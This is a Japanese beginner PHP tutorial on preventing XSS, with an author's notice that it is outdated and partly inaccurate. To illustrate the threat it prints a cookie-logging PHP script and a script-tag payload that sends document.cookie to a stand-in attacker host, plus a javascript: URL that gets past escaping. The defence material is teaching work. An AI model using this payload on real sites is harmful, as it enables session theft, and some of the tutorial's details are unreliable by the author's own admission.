【PHP入門講座】 XSS攻撃への対策

**【2021/10/15 追記】**
**この記事は更新が停止されています。<font color="red">PHP を分かった気になって書いていた不正確な内容が多いため，過去の情報として参考程度にご覧ください。</font>また，完成にたどり着けなかったことをお詫びします。原則的には，[公式マニュアル](https://www.php.net/manual/ja/index.php)の参照をおすすめします。**


### [目次に戻る](http://qiita.com/mpyw/items/752e19a578cf7d96fc5f)

# XSS攻撃

**XSS(クロスサイトスクリプティング)** 。JavaScriptを実行するコードを制作者の意図していない場所に埋め込む手法であって、PHPを使って実際にプログラミングをしていくうえで真っ先に考えなければいけないのがこの攻撃に対する対策です。

## XSS攻撃が成功するまでの流れ

**TwitterがXSS攻撃への対策を怠っていたと仮定します。**

### 1. 悪意のあるユーザーの下準備

悪意のあるユーザー(A)が

```php
<?php
$s = serialize(@$_GET['cookie']);
file_put_contents('./cookie_log/' . md5($s), $s);
```

のようなスクリプトを

**http://example.com/A/cookie_log.php**

に設置。

### 2. 攻撃コードを埋め込む

Aは<ins>被害者のユーザー(B)が閲覧可能な場所</ins>、つまりメンション欄に

```html
<script type="text/javascript">
var img = new Image();
img.src = "http://example.com/A/cookie_log.php?" + document.cookie;
</script>
```

以上の攻撃コードが埋め込まれたツイートを届ける。

### 3. 被害者のCookie情報が流出する

Bのブラウザが、読み込まれたJavaScriptコードに従って画像を取りに行こうとするので、そのときに

```js
"http://example.com/A/cookie_log.php?" + document.cookie;
```

に対して、<ins>自分自身のCookie情報をURLに付加して</ins>リクエストが実行されてしまう。

### 4. 被害発生

`cookie_log.php` は送られてきたCookie情報を保存する。やがてそれをAが入手することとなり、彼はBの<ins>ログイン済みの</ins>Cookie情報を利用し、Bに成りすまして好き放題ツイートしたり出来る。

## 対策方法

`<` `>` を **実体参照** に置換してしまえば、それだけでJavaScriptコードの実行を<ins>だいたい</ins>防ぐことが出来ます。この処理を、HTML特殊文字を **「エスケープする」** といいます。一口にエスケープするといっても様々なエスケープがあり、<ins>何のためにエスケープするのかが重要</ins>です。

PHPではこの処理を行うための `htmlspecialchars` という関数が標準で用意されています。しかしこの関数は関数名が長い上に、パラメータも実質3つは必須となっており、そのままでは非常に使い勝手が悪いです。そこでそれを使いやすく包み込んだ **ラッパー関数** を作成します。ユーザー定義関数を初めて作成する項となりますが、まだ関数についての説明はそれほど行っていないので軽く流してください。

**htmlspecialchars**
http://php.net/manual/ja/function.htmlspecialchars.php

```php
function h($str) {
    return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}
```

`$str` で引数を1つ受け取り、それを `htmlspecialchars` 関数に渡しています。この関数はデフォルトでは以下の変換を行います。

- `<` → **`&lt;`**
- `>` → **`&gt;`**
- `&` → **`&amp;`**
- `"` → **`&quot;`**

第2引数に `ENT_QUOTES` を指定すると、下記の変換も行うようになります。

- `'` → **`&apos;`**

第3引数では文字コードを指定します。ここでの詳しい説明は割愛しますが、互換性の面から `UTF-8` と省略せずに指定しておくことをオススメします。

```php:PHPコード
<?php
echo h('<a href="test.php?a=b&amp;c=d">Test</a>');
```

```html:実行結果
&lt;a href=&quot;test.php?a=b&amp;amp;c=d&quot;&gt;Test&lt;/a&gt;
```

### 「だいたい」な理由

このようにHTML特殊文字のエスケープを行っても防げないケースがあるからです。

```html+php:PHPコード
<a href="<?php echo h("javascript:alert('Test')"); ?>">Test</a>
```

```html:実行結果
<a href="javascript:alert('Test')">Test</a>
```

完全に防ぐには、(チェックを行わないまま)<ins>属性値にユーザー入力を展開してはいけない</ins>という制約を設ける必要があります。

# 次回以降に向けて

## `h` 関数は最後の `echo` と同時に

```php
<div><?php echo h($var); ?></div>
```

エスケープを実行するのは最後に `echo` して値を表示すると同時にしてください。(例外もありますが)<ins>あらかじめエスケープしておいて変数に保存する</ins>のは可能な限りやめてください。なぜなら **「この変数ってエスケープ済みだっけ・・・？」** という余分なことを考える必要が発生してしまうからです。

実は、上記のコードのように1つのPHPタグ区間内に文が1つしかない場合、末尾のセミコロンを省略して

```html+php
<div><?php echo h($var) ?></div>
```

とすることが出来ます。更にPHP5.4以降であれば、この形を

```html+php
<div><?=h($var)?></div>
```

として短縮することが出来ます。 これを **echo短縮構文** といいます。`<?php=h($var)?>` ではないことに注意してください。次回以降はこれが使えるところはこの方法で記述していきます。

## 必要に応じてコメントを入れる

プログラミングにおいて、「明日の自分は自分ではない」ということがよく言われます。これは、<ins>今自分が書いたコードを明日の自分が理解できる保証はない</ins>ということを意味しているのです。そこでコメントを使って未来の自分が理解するための手がかりを今のうちに残しておく癖をつけましょう。

PHPには3種類のコメント記述が用意されています。

- `//` 1行指定
- `#` 1行指定
- `/*` ～ `*/` 複数行指定

```php
<?php

// 1回目
echo 1 + 1; // 1+1を計算する！

# 2回目
echo 1 + 2 # 1+2を計算する！

/* 
// 3回目
echo 1 + 3; // 1+3を計算する！
*/
```

この例では3回目のための記述を丸ごとコメント化しています。このように一時的にコメント化してコードを無効にすることを **「コメントアウトする」** といいます。

関数などのためのコメントには

- `/**` ～ `*/` 複数行指定

という形式がよく用いられます。単に先ほどの例で先頭の `*` を1つ増やしただけですが、このQiitaを含め、多くのソースコード整形表示ツールでは専用の色が適用されて表示されます。

```php
/**
 * HTML特殊文字をエスケープする関数
 */
function h($str) {
    return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}
```

**[PhpDoc](http://blog.flavacube.com/2010/04/%E3%80%90phpdoc%E3%80%91%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88%E3%81%AE%E6%9B%B8%E3%81%8D%E6%96%B9%E3%81%AE%E3%81%BE%E3%81%A8%E3%82%81/)** という特別な書き方も存在します。

```php
/**
 * HTML特殊文字をエスケープする関数
 * 
 * @param $str 対象の文字列
 * @return 処理された文字列 
 */
function h($str) {
    return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}
```